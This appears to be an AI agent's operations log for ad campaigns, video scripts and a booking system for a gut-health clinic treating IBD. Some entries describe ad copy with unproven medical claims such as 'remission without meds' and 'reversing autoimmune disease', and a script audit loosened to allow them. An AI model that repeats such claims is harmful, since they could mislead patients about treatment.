account 408-427-8533 through the Culture Group manager. Access:
gcloud auth application-default loginwith the analytics-mcp client and the seven scopes (David ran it 11-08);~/.mgi/mgi_token.shfails with invalid_rapt until then. Oct 11–Nov 7: $10,616 ($379/day of a $390/day budget), 23 Discovery Call Booked = $462 each, 29 payments submitted, 145 picked a time ($73 each). Weekly bookings 3 · 6 · 9 · 7 on flat spend; the first two weeks about $535 a booking, the last two $376. Budgets unchanged since Oct 10 (one pause and unpause of Crohn's on Nov 6). Search impression share 21%; lost to budget fell 75% → 18%, lost to rank rose 4% → 61%. Per campaign, 4 weeks, cost per booked call (bookings): Brand Capture $99 (4) · International $273 (4) · Symptom Bridge $400 (2) · Ulcerative Colitis $532 (3) · Crohn's $552 (2) · Treatment Seekers $620 (2) · Intestinal Inflammation $663 (2) · Proven Winners $682 (3) · Discovery Net $408 spent, 0 booked, 1 time pick. Geo: the seven US-named campaigns target US + Canada + UK + UAE + Saudi (presence) on purpose, while International targets everything except the US, so the two overlap outside the US. Outside the US those campaigns spent $2,456 (23% of the account) for 1 booking; US spend $7,030 → 18 bookings ($391). International is 75% India ($821: 38 time picks, 2 booked; the Cash App failures). Day of week, hour and device: no changes, 23 bookings is too thin and Smart Bidding prices time itself. Google's budget simulations: +20% budget ≈ +6–10% more goal value per campaign, so each extra booking costs more than the average. Capacity: next week 7 of 32 slots taken, the week after 1; Thanksgiving Thu Nov 26 shows 8 open slots. "Program Registration ($6,800)" exists but has recorded 0, so program sign-ups never reach Ads. Proposed, nothing changed: step 1 (Mon Nov 9) pause Discovery Net, US-only on the seven US campaigns, Brand $15 → $18; step 2 (Mon Nov 16) +20% on the campaigns at or under the account's cost per booking, and International once Cash App is off; hold Thanksgiving week; step 3 (Mon Nov 30) +20% again. House rule: at most +20% per step, 48–72 h apart (weekly here, because about 7 bookings a week is the least worth judging). Gates each Monday on the trailing 14 days: cost per booked call ≤ $450, at least 7 bookings a week, next-7-days calendar under 75% full, at least 15% of time-pickers booking. Scripts:scratchpad/mgi-gads/(pull.py, analyze.py). - 2026-11-05 — His takes are in, and cut (§6, §8, §9): David: grab all of the video links that Chanu sent on Nov 4th, marry them with the video scripts we gave him and then start the video editing process. → the ten clips he Mail-Dropped on Nov 4 from cdasgud@gmail.com to david@culturesf.co (IMG_8128 · 8130 · 8131 · 8132 · 8134 · 8136 · 8137 · 8138 · 8140 · 8141, 924 MB, his patio, his phone, purple scrubs) and his own script document (
11-4-26 FB Vertical I Phone Video Script.docx: his rewrite of our four + a fifth of his own, Rapid Fire) are the shootcreative/mgi/footage/dasari-2026-11-04/(originals gitignored; index, transcripts' record,scripts/= his versions verbatim,cuts/= the five paper edits,log.json,MATCH.md). He read HIS rewrite, not ours — so the match ran against his words: ulcerative colitis at 19 (the diagnosis David asked for on 10-29, now on camera), two decades in remission (ours: ten years), four weeks (ours: six), “reversing autoimmune disease”, “remission without meds”, “natural remission”, 96%, thousands — every one his own word, kept as said (CL-11), the officer reads them separately (CL-00). The five cuts (01 108s · 02 95s · 03 71s · 04 42s · 05 52s): one take each for 1, 2, 5; 3 = hook + a notebook drawing (not a whiteboard) + the rest; 4 = his three pieces only — the patient slots are open and his doc asks for a HeyGen patient, which the house never cuts (A-02; a real patient on their own phone, with consent). Rapid Fire opens with his own “Hi, I'm Chanu Dasari, a gut surgeon” cut from his take of 1 (his mail asked for a “Hi, I'm” to be added; nothing is synthesized). His mail: “Please clean up the audio quality. Please delete the wrong lines and pauses and stitch together.” — the wrong lines and the pauses are the cuts (eight lines on the floor, listed inlog.json); the audio clean-up is the editor's. Gate: every row re-heard by the gate (min 0.86 pre-check, ≥0.88 verified), rough cuts + clean cuts inroughcuts/; editor packemail/mgi/editor-pack/dasari/+.zip; the client pageemail/mgi/video-cuts/copied to his board at/video-cuts/on a DRAFT (https://6aed1c05b5f7c2b3517d51a2--mgi-clinic-launch-board.netlify.app/video-cuts/) for David's eye first — production untouched. Tools:tools/footage-match.py(new: takes → scripts, per beat),build-paper-edit.py+build-editor-pack.pytake--scripts-dir; the paper-edit renderer now handles a phone's rotation tag and a portrait source (ffmpeg 7.1 carried the tag into the cut and players turned it on its side — fixed). The outtake (a plush poop toy from a patient, 8 s) is held for David's call: a cold open on Rapid Fire, or nothing. - 2026-11-05 (10:45 PT) — Three booking-app fixes live; the India failures are Cash App Pay, not banks (David: "go, ship the three booking app fixes, and yes do #4. But lets desing the consent line together"). cal-checkout
5759e8e11f: a mistyped mail domain is corrected on the email box and on every address sent (gmai.com → gmail.com; whole domains only, so mail.com, ymail.com, yahoo.co.in stay;.con-style endings on any domain;lib/emailDomain.ts) ·6262c7c0e2: a patient's reschedule of a paid booking stays confirmed (ACCEPTED, calendar event moved, rescheduled emails, BOOKING_RESCHEDULED; an event that requires confirmation still waits; the money logic is unchanged; the old test pinned PENDING as "payment handling removed", a cal.diy fork leftover) ·fc6bb1fcf9: Today + search: an unpaid attempt whose patient later paid reads "Failed attempt" and says when the paid call is, with no phone button on the day list and not counted as a call (matched on email or phone, against live paid bookings made after the attempt). 140 booking tests and 41 new ones pass; the changed files type-check; no observers touched. Railway builtfc6bb1fcf9in about 10 minutes. Checked live: the email box corrected 3 of 3 slips and left 4 of 4 real addresses alone (analytics blocked, no name or time entered, nothing sent); the checkout's timer rate is flat at 20 a second; Today for Nov 5 shows the 8:00 attempt as "Failed attempt" with the paid 8:30 named, no phone button, and counts 4 calls for 5 cards. The reschedule fix passed the full mock-database test but no real patient has rescheduled since, so read the next one's status (?notes=recent: it should be ACCEPTED, paid true). CORRECTION to the 11-04 entry's guess (banks): Stripe, read-only with David's restricted key: since the checkout's first charge (Sep 23), 72 booking attempts. Cash App Pay = 4 attempts, all 4 from +91 phones, all 4 expired exactly an hour later (payment_intent_payment_attempt_expired/cashapp_customer_request_expired), no money moved, and it never completed a payment anywhere on the account since May 1 (1,093 charges). All three unpaid India bookings in the 11-04 entry are this, so neither of the other two was charged. The Nov 4 retry was an Indian Visa debit, approved first time, one charge only. Real bank declines from India: one run on Oct 12 (do_not_honor ×2, processing_error ×1 on an Indian card in Link). +1 phones: 50 of 50 attempts succeeded. Other failures: one South African card (insufficient funds, velocity ×2). Which button India sees can't be read from a US address (from here: Link + Pay by card), so why they press Cash App is open; the fix is the same. Recommendation: Cash App Pay off in Stripe (his setting; the key is read-only). Texts: re-register, consent line designed with David first. The rejection as Twilio holds it: campaignQE2c6890…ba0bFAILED, 30882 "Terms and Conditions issues", field MESSAGE_FLOW. Twilio's page: consent "cannot be obscured in general terms and conditions or bundled into another agreement". Ours bundled it: "By entering your number, you agree…" on a required field. The campaign record also holds no terms or privacy URL (the API returns none), which 30882 lists as required. /sms-terms already has the no-sharing clause. So the new line = an optional, unticked control apart from the phone, booking works without it, and sending must be gated on it:SMS_MODE=liveattempts every booking today and only the carriers stop it. Show it only for +1 numbers or a blank field (abroad is blocked, 21408). Three lanes shown in chat; nothing about texts has changed yet. Patient details stay out of this file. - 2026-11-04 (22:20 PT) — "Charged but not confirmed, an India problem?" — read-only answer (David, a patient's WhatsApp + a Today card). That patient is paid and booked: first attempt
xqrg2oTL19:33 PT (8:00 PT call, PENDING, paid false: the card in the screenshot) failed → the retrymgw16Qfh19:39 PT paid for Thu Nov 5, 8:30 PT = 10:00 PM Calcutta; the bank's debit (09:09:19 IST = 19:39:19 PT) matches it. No confirmation reached them: the retyped address was atgmai.com, so Resend delivered the confirmation (name, phone, health note, cancel + reschedule links) to that domain's server; the text failed (Twilio 21408); and at 20:32 PT the reminder flow mailed their real address "Re: your scheduled call" (opened twice), because only the typo address reached the bookers' list; the second note is due ≈ 19:32 PT Nov 5. Never cancel the dead card to tidy it: a cancel emails the patient (handleCancelBooking sends for any status). India is a real pattern: the newest 20 checkout bookings (Oct 26–Nov 4): Asia/Calcutta 4 attempts by 3 people, 3 unpaid (sMEJokug,uh9C1eAE,xqrg2oTL), 1 paid on the retry; everyone else 16 attempts, 0 unpaid (Muscat, London, Budapest, Melbourne and Johannesburg all paid). The cause is unread:STRIPE_PRIVATE_KEYin~/.calcheckout/secrets.envis the rotated …g3RK (401) and the GA4 login has expired too. Reschedule bug found (open):getRequiresConfirmationFlagsleaves a priced booking unconfirmed unless the owner reschedules, so a patient rescheduling a PAID call gets PENDING + paid true: "Booking submitted" to them, "Awaiting approval" to Dr. Dasari, no calendar event, and the Today list shows it with no flag. Both reschedules since Oct 9 hit it (Oct 27 13:10 PT, call Oct 28 8:15 PT · Nov 2 06:43 PTnyrJ96Dq, call Nov 3 8:30 PT); neither patient ever got a confirmation email. Texts: since Oct 8, 121 sent, 2 delivered: US 90 undelivered (30034, the rejected 10DLC campaign, 2026-10-08 below) + 2 cancelled; abroad 27 failed (21408, the country is not enabled in Twilio). So email is the only confirmation a patient gets. The read, for next time:?notes=recenton/api/sms/booking-events= the newest 15 bookings of any kind with the database's paid flag (?attribution=recentmisses reschedules); ResendGET /emails+/emails/{id}; TwilioMessages.json(?DateSent>=); Klaviyo/eventsby profile. Nothing was changed. Patient details stay out of this file. - 2026-11-03 — Media Plan HQ:
tools/mediaplan-hq/(model.py · template.html · build.py · netlify.toml + _headers/_redirects) +tools/deploy-mediaplan-hq.py(gated: freshness, hygiene --internal, no other brand on a plan page, smoke); https://mediaplan-hq.netlify.app/mgi/media-plan-2026-10/ is this plan, /mgi/schedule/ its board (media_plan_board.py still writes it into docs/mgi/media-plan/). Launch Center: /docs/mgi-media-plan-2026-10.html and /docs/mgi/media-plan/board.html → 301 to the HQ (build.py write_redirects); the Copy Sheet HQ Media plan tab and mediaplan.py removed. - 2026-11-03 (09:48 PT) — Cold round two launched paused, on at 00:00 PT Nov 4 (§6): plan
launch/2026-11/COLD-R2.json+.state.json(campaign120248709143200539, ad sets120248709144080539·120248709147030539, ads AD009120248709146270539· AD010120248709146170539· AD011120248709146100539· AD012120248709147690539· AD013120248709147660539· AD014120248709148220539, all read back exact),ad-codes.jsonAD009–AD014; five new videos uploaded through the relay (tools/jt/one-offs/mgi-cold-r2-2026-11/uploads.json: H14+C10996277829505470· H11+C101798181751410864· H01+C102073751166585890· C10 clean3009893336033017· remedies2220547215174136; V3 reused1127031520300656); masters increative/mgi-ads/videos/MGI R2 *.mp4(git-ignored, both checkouts); every master transcribed (whisper) and its screen text read at 2 fps (tesseract): zero hits onforbidden-terms.txt, each ends on the clean card. The midnight agentcom.davidsanghera.ads-on-20261104-0000(from /dev) now carries this campaign beside CellScience's. Twinmedia-plan-2026-10.jsonround two LIVE +launch.round2; the AD003 GUARANTEED card on record (§6) and the trap in the reuse rule: read every frame's text, not the last frame. - 2026-10-30 (15:40 PT) — "How many of yesterday's or today's bookings came from Facebook?" — read-only answer (David): NONE. Our booking system (BookingAttribution + each booking's status) since 00:00 PT Oct 29: 8 bookings created, 7 paid — Oct 29: 5 paid (4 Google clicks, all landing on /fix-ibd-naturally/ · 1 with no ad tag) + 1 unpaid (Google click); Oct 30 to 15:40: 2 paid (1 Google · 1 no tag); zero carry utm_source=facebook. Meta agrees: no AddPaymentInfo or paid booking credited to either campaign, by click or by 1-day view, while the pixel itself took 8 CheckoutBookingCreated + 8 AddPaymentInfo + 4 CheckoutPaid from all sources in the same window, so the zero is real, not a tracking hole. Side finding (open): the pixel's CheckoutPaid caught 4 of the 7 paid bookings, and the retargeting exclusion audience P "Paid the call" is built on that event, so some people who already paid can still be shown the booking ads (a priced booking is created PENDING and turns ACCEPTED only on payment, so ACCEPTED = paid). Facebook's funnel: cold Oct 29 $97.18 → 58 landing-page views → 14 booking-page opens (ViewContent) → 5 reached payment (InitiateCheckout) → 0 pressed pay; cold Oct 30 $15.22 → 10 → 2 → 0; retargeting (on since 00:00 Oct 30) $25.60 → 20 booking-page opens → 0 reached payment. The read, for next time:
?attribution=recenton/api/sms/booking-events(newest 20 rows; source/medium/campaign, click ID, landing page — no utm_content) +?uid=for each booking's status (ACCEPTED = paid, PENDING = not paid), both with the SMS_WEBHOOK_SECRET bearer from~/.calcheckout/secrets.env; Meta's side = campaign insightsactions(ViewContent = booking page · InitiateCheckout = reached payment · AddPaymentInfo = pressed pay); the pixel's own counts =GET /1289579869100647/stats?aggregation=event. Trap:tools/ad_codes.py report's "buys" column counts Purchase only, which this pixel never sends, so it reads 0 for MGI whatever happens — never read it as bookings. - 2026-10-29 — The August numbers off Dr. Dasari's launch board (David, a screenshot of the four "Where things stand" tiles — $3,697 Search spend · 2,285 clicks · 415 booking calendars opened · 4 confirmed bookings — "delete this"). Removed from https://mgi-clinic-launch-board.netlify.app/ (
clients/mgi/hub/index.html, the tiles and their styles); the section's scope line, the Aug 30 correction note and "the honest read" stay. Live checked against the repo before the deploy (every page the same); deployed throughclients/mgi/deploy.sh(hygiene PASS, every page 200). - 2026-10-29 (evening) — David: "lets make customer facing mgi scripts also to send to Dr Dasari" → nothing to build: his page https://mgi-clinic-launch-board.netlify.app/video-scripts/ already IS the customer-facing scripts — round 3 at full strength (hooks "He was wrong. I reversed it." · "Neither one leads to remission."), the four read-alouds (200), the needs list (the lifted rules stated first, his words for nineteen, 8 × "Your number?", 10 × "Is this true?", the two photos, a patient for 04), "To film" per script; verified live and handed to David to send. His own judgement of round 3 (ask
mgi-video-scripts-r3) is still open — he can send before or after it. - 2026-10-29 (afternoon) — Video scripts round 3, the Facebook round (§5 the ruling, §6):
video-studio/scripts/mgi/01–04rewritten at full strength;tools/audit-video-scripts.pymgi block lifts b1 / b5 / x1–x6 / the medication lines toreport, fails only free / guarantee / refund;briefs/mgi/truth-gate.mdcarries the ruling; read-aloud re-rendered (Charon) + retimed;COPYCHIEF-r3.md;tools/brand-hub/docs/mgi-video-scripts-r1.html+ the versions board (--old _r2 --old-audio r2, WHY rows → round 3) rebuilt;clients/mgi/creative/build_video_scripts.py(NEEDS: the lift first; CHECKS: "Your number?" marks; RULES rewritten) →clients/mgi/hub/video-scripts/rebuilt + deployed; README slate / ruling / r3 line. - 2026-10-29 (afternoon) — Scripts 01/02 round 2.1: the hook names the disease (§6):
my inflammatory bowel diseasefor "it" in both hooks (video-studio/scripts/mgi/01_nineteen.md,02_told-for-life.md, Register rows + a Round 2.1 note);clients/mgi/creative/build_video_scripts.pyCHECKS anchors moved to the new lines and the "Your own words for nineteen" need asks which diagnosis; read-aloud re-rendered (Charon) + retimed, audit ALL PASS;tools/brand-hub/docs/mgi-video-scripts-r1.htmland the versions board rebuilt (the board's WHY rows note round 2.1);clients/mgi/hub/video-scripts/rebuilt and deployed throughclients/mgi/deploy.sh; README slate numbers for 01/02 and an r2.1 round line. - 2026-10-29 (13:21 PT) — Retargeting to the booking page LAUNCHED PAUSED (layer two, $50/day), ON at 00:00 PT Oct 30 — campaign 120248621018920539, five $10 ad sets AD004–AD008 (one per video); twin
retargeting.launch+ status; plan doc first block (calls taken); ask withdrawn + lane update;tools/ads_launch.pydry-run guards (creativeImageUrl on video ads; one dynamic ad per ad set); RT-R1-BOOKING.state.json. - 2026-10-29 (10:30 PT) — Retargeting to the booking page staged (layer two, $50/day), waiting on the go (David's word that morning). Audiences P
120248618834710539+ A2120248618834890539created (adscaler /api/audiences;clients/mgi/tracking/meta-audiences.json); V1 / V2 / V3 uploaded (tools/jt/one-offs/mgi-retarget-2026-10/); planlaunch/2026-10/RT-R1-BOOKING.json(R1.json removed); twinretargetingblock; media-plan doc's first block; copy doc + ledger r1.1; copy sheet rebuilt; askmgi-retarget-go;ad-codes.jsonaccount set (the 2026-10-14 trap). §6 has the record. - 2026-10-28 (21:46 PT) — The judging grid is every copy surface + a Copy Sheet tab (David: "add a copy sheet tab on the launch center for every brand, and also make sure all angle all hook buckets are made that way also, this is the main way to judge copy moving forward"). The MGI angle board (https://copy-sheet-hq.netlify.app/mgi/?tab=angles) is now one row per angle — GO on MG-A01 is the GO button on its row (keys G · A · P · X), the outputs are tick-chips, the evidence and the 52 hooks sit in the opened rows; the Hook Studio and the Hook Buckets (396 bucket hooks, a tab per bucket, Ask Claude for the one angle not written) are the same grid; the Copy Sheet tab is https://copy-sheet-hq.netlify.app/mgi/. Same verdict logs and ids — nothing David already clicked moves. The card / tab views stay at boards/<id>/cards/. Playbook v1.43.1, CL-23 amended.
- 2026-10-28 (17:30 PT) — Copy sheet built (David: a spreadsheet-style judgement system for all copy and primary-text ideas, "not this random page"). New board kind
sheet(tools/brand-hub/sheet_board.py: sticky # + verdict columns, the line next to them, sortable headers, type / status / angle / round / bucket filters, search, inline notes, CSV export, the Hook Studio's serialised save queue; every row carries its own verdict log) +tools/angle-studio/copysheet.py(build: parses the round's copy doc in the house shape + the Hook Studio board + the live launch plan →briefs/mgi/copy/sheet.json+boards/mgi--copysheet.json; verdicts: folds both logs → VERDICTS.md + §6 lines). Hook rows post tomgi--angles(shared with the Hook Studio / angle board), copy rows tomgi--copysheet.build.py: kind dispatch, the native-board hint,Copy sheet →on the Angle Studio station with the unjudged count. The 41-character A03 headline 1 is flagged over the 40-character slot on the sheet. Docs: SKILL §7e, README, copy-laws CL-23, cold-copy-r2.md's judging note, the console ask re-pointed. Hub deployed throughtools/deploy-launch-center.sh --buildafter a rebase onto origin/main (21 upstream commits). - 2026-10-28 (11:40 PT) — Google Ads headlines: the live pull is blocked on the Google login (
gcloud auth application-default print-access-token→ "Reauthentication failed"; David runsgcloud auth application-default loginin a browser, thenclients/mgi/audit/pull.py-style GAQL reads the RSAs). What we hold: the house's Tier-1 plan inclients/mgi/plan/build_plan.py(SHARED_H: Board-Certified GI Surgeon · Book a $50 Discovery Call · Former IBD Patient, Now GI MD · A Different Kind of GI Doctor · Root-Cause Gut Care · Microbiome-First Approach · Get Answers, Not Dismissals · Telehealth Nationwide, plus flagged ⚑ 10,000+ Patients Helped; per-campaign sets for Crohn's / UC specialist intent, intestinal inflammation, treatment seekers, symptom bridge, brand, discovery net) and the Aug 21 auditclients/mgi/audit/data/ads.json(87 ads, no headline fields pulled). Cold copy round two built:angles.py route --to adcopyfor MG-A02 + MG-A03 (packetsbriefs/mgi/angles/MG-A0{2,3}/adcopy.md, templates C/A and B/D);angles.py hooks --all --batch 2scaffold; specbriefs/mgi/angles/chief/batch-2.json(52 rows, batch 1 reviewed as the bucket round with no hooks.md rows) →chief_batch.py✓ 52 PASS →distill→board(mgi--hooks.json 52 hooks, 21 new thumbs); doccold-copy-r2.md+ ledgerCOPYCHIEF-cold-r2.md→md2doc.py→docs/mgi-cold-copy-r2.html; askmgi-cold-copy-r2appended to the /dev lane; Launch Center--builddeployed. Sources used:ads/research/gut-health/{LANDSCAPE-r1.md, landscape/TASTE-r1.md, natives/NATIVES-r1.md, page-sweep-2026-10-26.json},briefs/mgi/angles/{buckets/TASTE.md, voc/reddit-voc-r1-2026-10-26.json, trending.json},truth-gate.md,skills/dtc-ad-templates. - 2026-10-28 — Video scripts r1 → r2 (
video-studio/scripts/mgi/01–04, README, CCL-STUDY, WEIRD-TWENTY-r1, COPYCHIEF-r1,_r1/): CCL page re-pulled (ads/research/gut-health/ccl/page-sweep-2026-10-28.json), twenty videos downloaded (gitignored) and transcribed (video/transcripts/), eight of Dr. Dasari's own transcribed for his register (scratch); video packets routed for MG-A02 / MG-A03;tools/audit-video-scripts.pygained themgiblock and treats the Bucket row + hook-variant tags as metadata (the eighth bucket is named "mechanism");tools/read-aloud-scripts.py --voice(one presenter, one voice: Charon); the review builder and the version board take--brandand render into the Launch Center's docs with the audio beside them;email/mgi/video-scripts-audio/(+r1/). Traps: a[CAPTURED]marker wrapped in backticks leaves two backticks the voice reads (+10s a beat); a brand that bans "fix" cannot say "copychief fixes applied" in its Register row. - 2026-10-28 (11:10 PT) — The relaunch, read back from Meta. Old campaign
120248581163780539: adscaler toggle → 200, Meta reads PAUSED/PAUSED (10:58 PT). New campaign120248595200300539ACTIVE/ACTIVE · OUTCOME_SALES · daily_budget 10000 · LOWEST_COST_WITHOUT_CAP · created 11:04:37 PT. Ad sets AD001120248595200530539· AD002120248595200860539· AD003120248595201580539: each ACTIVE, DCO, OFFSITE_CONVERSIONS, promoted_object {pixel 1289579869100647, ADD_PAYMENT_INFO}, 25–65 US, facebook/instagram/messenger, 7 exclusions, advantage_audience 0, no ad-set budget (the campaign carries the $100). Ads120248595203570539(AD001) ·120248595203560539(AD002) ·120248595203740539(AD003): ACTIVE / IN_PROCESS, each its video + 5 titles × 5 bodies, link = the fix-ibd page with utm_content={{ad.name}}, Page 238118679393069. Files:launch/2026-10/COLD-R1-BOOKINGS.json(+.state.json; status ACTIVE in the file for the record),ad-codes.jsonAD001–AD003 each gained the new placement (adsdict: 2 per code),media-plan-2026-10.json(account.pixelEvent ADD_PAYMENT_INFO · OUTCOME_SALES · OFFSITE_CONVERSIONS ·launch.round1· rounds[0] LIVE) and the.md(lead-in LIVE + an optimization paragraph). No midnight agent pending (ads_schedule_on.py --listempty).tools/ads_launch.pyalso passescustomEventStrnow (unused here; ready for CheckoutPaid). The day-one read is from 11:04 PT, not midnight: compare per hour, not against a full day. - 2026-10-28 (10:30 PT) — Cold R1 ran on the wrong optimization; the fix is drafted, waiting on David's pick (David: "we messed up on the mgi clinic launch, we optimized for traffic, we want to optimize for the lead event right? or schedule event?"). Facts read from Meta this morning: the pixel
1289579869100647, last 28 days by event — PageView 553,460 · ViewContent 1,175 (booking page opened) · CheckoutSlotSelected 177 · InitiateCheckout 134 (time + name + valid email) · AddPaymentInfo 74 · CheckoutBookingCreated 31 · CheckoutPaid 22 (the $50 call paid) · CheckoutError 35 · WebsiteClicktoCall 25; last 7 days ViewContent 334 · InitiateCheckout 31 · CheckoutPaid 6. Lead: zero — nothing in the funnel sends it. Schedule: zero — the thank-you page's GTM tag sends it and Meta blocks it outright (the Blocked tab, not confirmable). Purchase: zero — dropped. So the four checkout events David confirmed on 2026-10-07 DO flow, and the custom conversion "MGI | Booked call ($50)"1089071967213965(CheckoutPaid + url contains mgiclinic.com) fires (first 2026-10-09, last 2026-10-27 20:14 UTC). The §10 note of 2026-10-12 ("the checkout's custom events are blocked … the custom conversion cannot fill") was true before the confirm and is stale since; LANDING_PAGE_VIEWS was chosen on it. The funnel's events, in order: ad → /fix-ibd-naturally/ (PageView; Meta's landing-page view) → five CTAs → /discovery/ (PageView; the hand-off) → book.mgiclinic.com/checkout/mgiclinic/discovery (ViewContent) → time picked (CheckoutSlotSelected) → name + valid email (InitiateCheckout; Klaviyo Started Booking) → card details (AddPaymentInfo) → pay pressed (CheckoutBookingCreated) → $50 cleared (CheckoutPaid + the custom conversion; Purchase dropped) → /thank-you-confirmation/ (Schedule, blocked; GA4 Discovery Call Booked); phone taps = WebsiteClicktoCall; the booking page's video = VideoPlay (zero in 28 days: unconfirmed or unplayed). The traffic campaign120248581163780539at 10:14 PT (10 hours live): $47.96 · 4,401 impressions · 242 link clicks · 226 landing-page views at $0.21 · CTR 8.2% · CPM $10.90 · zero booking-page opens attributed · per ad AD002 Y2 $27.88 / 142 LPV, AD001 Y1 $16.79 / 67, AD003 C10 $3.29 / 17 — traffic optimization buys clicks, not bookers. Meta never lets a campaign's objective change, so the fix is a NEW campaign:launch/2026-10/COLD-R1-BOOKINGS.json— same three videos, copy sets, audience and exclusions; OUTCOME_SALES / OFFSITE_CONVERSIONS on the custom event CheckoutPaid (pixelEvent: OTHER+customEventStr, the HumanFrame HF_Purchase shape;tools/ads_launch.pynow passescustomEventStrto the route), the ads keep AD001–AD003 (a placement, not a new code). Dry run clean (page 200, API budget 1%). Fallback if Meta refuses the custom event as an optimization target on the restricted pixel: INITIATE_CHECKOUT. Thin-data caveat said to David: ~6 paid bookings a week site-wide, so the ad set stays learning-limited; the house takes the same bet on CellScience (Purchase from day one). Waiting on David: the event (CheckoutPaid recommended, InitiateCheckout the volume option) and when the traffic campaign goes OFF (now, or at midnight when the new one switches on). Nothing launched, nothing paused. - 2026-10-27 — MG-P4, quiz 3: tell the surgeon your story, built and on the review site (§6). - What it is:
prelanders/mgi/quiz-case/with 10 questions, two notes from him (both sides; the stress study, PMID 20372115, as the PubMed screenshot), a skippable email and the result. The result has his line ("In your case, I'd start with digestion"), the case card (their answers, built in their browser and read nowhere else), the echo of what their doctor said (six answers; the surgery one adds the ER safety line), the first cause and the next two, and the call. - Opening lines, from his 24 👍 hook-bucket lines (pulled the same day:briefs/mgi/angles/buckets/TASTE.md): a, the bathroom-finder app (MG-A07);?v=b, the medicine calms the fire (MG-A05);?v=c, the biologic and the car payment (MG-A10). - The engine:result_mode case+ startvariantsinbuild_quiz.pyand the chassis. Quizzes 1 and 2 keep identical markup; only shared CSS and JS were added. - QA:tools/qa/mgi_quiz_check.py --quiz allpasses every lane of all three quizzes. It checks the case card, the cause order and labels, the echoes, the safety line, the openings, Klaviyo (level list + causes) and that no answer leaves the page. Readability passes at 375 and 390 px. - Copy chief round 1 (prelanders/mgi/quiz-case/COPYCHIEF-r1.md, 8/10, capped by the three gray photos): eight rewrites applied. Among them: the speaker named after the patient-voice opening, "it's just stress" added, and a truth fix on the surgery echo. - Also: the Copy Studio extracts it as Quiz 3; manifest MG-P4. - Before live: lane pick, his pass 2, the Klaviyo "where I'd start" email, the 3 photos, the cal-checkout rewrite. - 2026-10-27 (17:58 PT) — cold round one live on Meta (§6): plan
launch/2026-10/COLD-R1.json+.state.json, campaign120248581163780539, three ad sets — the DCO copy sets make the route build one ad set per video, and above one ad set a call it budgets the CAMPAIGN: AD001120248581164180539· AD002120248581164440539· AD003120248581163910539, campaigndaily_budget10000 = $100/day shared across the three (the campaign name still says "ABO $100/ad set" — a misnomer, the spend is right);ad-codes.jsonAD001 · AD002 · AD003; midnight agentcom.davidsanghera.ads-on-20261028-0000(from /dev + a sleeper). Read back 18:05 PT: PAUSED, OUTCOME_TRAFFIC, LANDING_PAGE_VIEWS, US 25–65, facebook/instagram/messenger, Advantage+ audience off, 7 exclusions on every ad set; every ad its video + 5 titles × 5 bodies, link = the fix-ibd page with utm_content={{ad.name}}, FB Page 238118679393069, ads in review. Asksmgi-cold-round1-ads/mgi-cold-budget/mgi-cold-goanswered in chat (Y1 Y2 C10 · $100 · go). - 2026-10-27 — David's WATCH marks on the landscape board, read and ingested (David: "i judged the watching ones in the mgi-gut-health-ads-r1, take a look and start ingesting what makes them good vs bad"). 12 WATCH · 1 IGNORE · 1 taken back · 51 scrolled past (the direct rivals to card 31, the supplements to card 34; no marks elsewhere). Read from each advertiser's copy, pictures and landing page, and from 19 of their videos downloaded and transcribed (13 watched, 6 passed for contrast;
ads/research/gut-health/video/transcripts/). The read isads/research/gut-health/landscape/TASTE-r1.md(§6 has the summary) and sits on the board as a top panel, "What your watches say", with a one-line reason on 18 cards. Ingest:tools/brand-hub/ingest_landscape.py --pull→ads/research/gut-health/landscape/r1-marks.json; the angle studio now readsmarket_research: ["ads/research/gut-health"](config), so a watched rival's on-market ads are evidence (ranked first, two per rival per angle), an ignored one's are marked down, the 13 watched transcripts are inads/research/gut-health/scripts/, andbriefs/mgi/angles/TASTE.mdcarries the read for the next hook batch. Re-distilled: 0 → 311 evidence creatives and 13 transcripts on 14 of 15 angles; no verdict, hook, packet or Copy-Chief row changed. Natives r1 also reaches the distill now (same root). Oshi's statics have no pictures on the board (no image in the sweep); fetch them in r2. - 2026-10-26 — Ads running now: the gut / IBS / IBD market swept on Facebook and the native networks, boarded (David: "Find all the ads around gut health and ibs/ibd that are currently running on facebook and native, dont we have some skill for that?", then "ship it to the launch center when done"; ask
mgi-ads-landscape-r1). Meta: 14 keyword searches (crohn's · crohns · ulcerative colitis · colitis · IBD · inflammatory bowel · IBS · irritable bowel · SIBO · leaky gut · gut health · bloating · gut microbiome · digestive health), active US ads, through the free Ad Library lane (tools/fb-ad-library-page-sweep.py; the Apify month had $0.91 left) → 6,334 ads from 1,628 Pages (ads/research/gut-health/page-sweep-2026-10-26.json). Crohn's (1,119 of ~1,183) and UC (906 of ~942) were read complete; the other searches are Meta's top ~600 each (gut health and bloating list 50,001+ ads apiece). The second pass hit the Ad Library soft block (colitis came back short, two listings empty), so pass 1 stands for those three. Native: Taboola · Outbrain · MGID · Revcontent sampled on US news sites through Apify (tools/apify-native-sweep.py, $0.66) → 423 ads, 81 gut ads (WellnessGaze News "Top US Gut Doctor Begs" advertorials, Native Fiber, Paratoxil; Taboola's sample had none). Boards: Ads running now (mgi--gut-health-ads-r1, kind research: 1,324 advertisers rolled up per Page or shared landing domain into 13 groups, 153 direct rivals; pins and so-what lines inads/research/gut-health/landscape-notes.json) and Natives r1 (mgi--natives-r1: 277 long-copy image ads, ≥ 1,500 characters and ≥ 14 days running, market-filtered; operators: mynuora.com ~487K visits +35%, try-nouri.com +42%, healo.store +45%). Worth a decision: Eli Lilly runs 9 study pages / 255 ads recruiting Crohn's, UC and IBS patients, none older than three weeks (a free trial is what an IBD patient on Meta is offered today); Crohn's Colitis Lifestyle sells MGI's exact shape (a free "IBD Strategy Session" with "a specialist who has had IBD too"); Oshi Health and Parsley Health sell virtual GI / root-cause care in-network. Next: David's WATCH marks and natives KEEP / SKIP → `natives.py pull --niche gut-health --brand mgi --round r1→ the kept leads intoseeds.md` refs and the next hooks batch. - 2026-10-26 — Angle Studio round 2 + Hook Buckets round 1 boarded (commit
